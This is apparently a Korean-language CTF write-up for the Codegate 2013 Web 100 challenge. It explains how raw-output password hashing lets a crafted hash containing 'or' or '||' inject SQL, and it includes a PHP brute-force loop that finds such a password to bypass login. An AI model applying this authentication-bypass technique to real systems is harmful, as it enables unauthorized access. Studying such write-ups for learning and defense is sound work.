Computer Security/CTF

[Codegate 2013] Web 100 simple write up

tunz 2013. 3. 3. 23:42

비밀번호 해쉬를 하는데 세번째 인자가 true이다.


raw 형식으로 hash를 한다는것을 알수있다.


예전에 wargame에서 풀어본 경험이 있는데.. 아마 webhacking.kr에 있었던 문제 같았다.


경험이 있으므로.. 쉽게 풀었는데


예전엔 md5로 해쉬를 했는데, 이번엔 좀 다른방법으로 해쉬를 한다.


그러므로 새로 php를 짰고, 'or' 이나 '||' 이 들어있는 해쉬를 하나씩 돌려서 찾아봤고,


결과를 하나씩 넣어보다 보니 로그인 성공

(숫자 몇이 성공이었는지는 정확히 기억이 안난다)


비밀번호를 찾는 코드


$i의 값이 비밀번호다.


$i=0;

echo "start\n";

for ($i=119335433; $i<1000000000; $i++)
{
        $bh = $i;
        //echo $bh." ";
        $hashed = hash("whirlpool",$bh,true);
        if (eregi("'or'",$hashed) || eregi("'||'",$hashed))
        {
                echo "\n";
                echo "Answer: ";
                echo $bh;
                echo "\n";
                echo $hashed;
                break;
        }
}
echo "Done\n".$i;